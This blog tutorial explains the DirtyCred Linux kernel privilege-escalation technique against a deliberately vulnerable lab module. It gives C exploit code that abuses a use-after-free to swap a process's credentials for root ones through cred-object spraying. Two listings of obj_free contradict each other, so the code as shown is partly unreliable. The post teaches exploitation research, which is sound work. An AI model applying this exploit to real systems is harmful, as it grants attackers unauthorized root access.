Linux Kernel Exploitation - DirtyCred
In this post, I will explain DirtyCred, a universal and data-only exploitation technique that allows us to escalate privileges without a write primitive. Download the handouts beforehand.
Analysis
The vulnerable LKM provides three commands: CMD_ALLOC
, CMD_READ
, and CMD_FREE
. These commands are used to allocate, read from, and free objects defined as follows:
1
2
3
4
5
#define OBJ_SIZE 0xc0
struct obj {
char buf[OBJ_SIZE];
};
Note that obj_alloc
internally uses kmem_cache_zalloc
. This means a dedicated cache is used for managing these objects:
1
2
3
4
5
6
7
8
9
10
static long obj_alloc(int id) {
if (objs[id] != NULL) {
return -1;
}
objs[id] = kmem_cache_zalloc(obj_cachep, GFP_KERNEL);
if (objs[id] == NULL) {
return -1;
}
return 0;
}
Also, note that kfree
is used instead of kmem_cache_free
in obj_free
. This is intentional, as we will use it later to free cred objects:
1
2
3
4
static long obj_free(int id) {
kfree(objs[id]);
return 0;
}
Bugs
In obj_free
, objs[id]
, which is a reference to a freed memory region, is not cleared:
1
2
3
4
static long obj_free(int id) {
kmem_cache_free(obj_cachep, objs[id]);
return 0;
}
This results in an obvious UAF. By performing cross-cache attack explained in the previous post, we can overlap victim objects with arbitrary kernel objects. However, we only have a read primitive, so it is difficult to control RIP. Therefore, in this post, we will take a data-only approach using DirtyCred.
DirtyCred
The main idea of DirtyCred is to swap non-root credentials with root credentials. In this post, we target struct cred
, which is allocated from a dedicated cache called cred. By performing cross-cache attack, we can overlap victim objects with cred objects. Since we can free victim cred objects (via obj_free
), by spraying root cred objects, we can achieve root privileges.
Exploitation
The initial steps are the same as in the previous post. The difference is in the fourth step, where we allocate a large number of cred objects:
1
2
3
4
char stack[NUM_CRED_SPRAY][0x1000];
for (int i = 0; i < NUM_CRED_SPRAY; i++) {
assert(clone(try_read_flag, &stack[i][0xfff], CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND, NULL) != -1);
}
Here, we use clone
with some flags to allocate cred objects with low noise. This technique was discovered by willsroot. See their blog post for more details.
try_read_flag
is defined as follows. It waits for the atomic variable, try
to be true, checks if it has root previleges, and then reads the flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int try_read_flag(void *arg) {
char flag[0x10] = {};
int fd;
while(atomic_load(&try) != true) {
sleep(1);
}
if (geteuid() == 0) {
fd = open("/dev/sdb", O_RDONLY);
assert(fd != -1);
assert(read(fd, flag, 0x10) != -1);
printf("[+] Flag: %s\n", flag);
atomic_store(&win, true);
exit(0);
} else {
atomic_fetch_add(&num_failed, 1);
exit(0);
}
}
Next, we locate the victim cred object and free it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int victim = -1;
struct cred cred = {};
for (int i = 0; i < num_spray; i += objs_per_slab * 2) {
for (int j = i; j < i + objs_per_slab; j++) {
obj_read(j, (char *)&cred, sizeof(cred));
if (cred.uid == getuid() && cred.euid == geteuid()) {
victim = j;
printf("[+] Freeing the victim object: id = %d\n", victim);
obj_free(victim);
}
}
}
if (victim == -1) {
puts("[-] Failed to locate the victim objects");
exit(1);
}
Finally, we spray root cred objects, which causes the victim cred object freed in the previous step to be swapped with a root cred object:
1
2
3
4
5
6
7
8
9
10
11
for (int i = 0; i < NUM_ROOT_CRED_SPRAY; i++) {
int pid = fork();
if (pid == 0) {
char *argv[] = {"/bin/su", NULL};
execve(argv[0], argv, NULL);
}
}
sleep(1);
puts("\n[*] Attempting");
atomic_store(&try, true);
By running this exploit, we can see the flag:
References
- Zhenpeng Lin, Yuhang Wu, and Xinyu Xing. 2022. DirtyCred: Escalating Privilege in Linux Kernel. In Proceedings of the 2022 ACM SIGSAC Conference on Computer and Communications Security (CCS ‘22). Association for Computing Machinery, New York, NY, USA, 1963–1976. https://doi.org/10.1145/3548606.3560585
- willsroot. 2022. Reviving Exploits Against Cred Structs - Six Byte Cross Cache Overflow to Leakless Data-Oriented Kernel Pwnage. https://www.willsroot.io/2022/08/reviving-exploits-against-cred-struct.html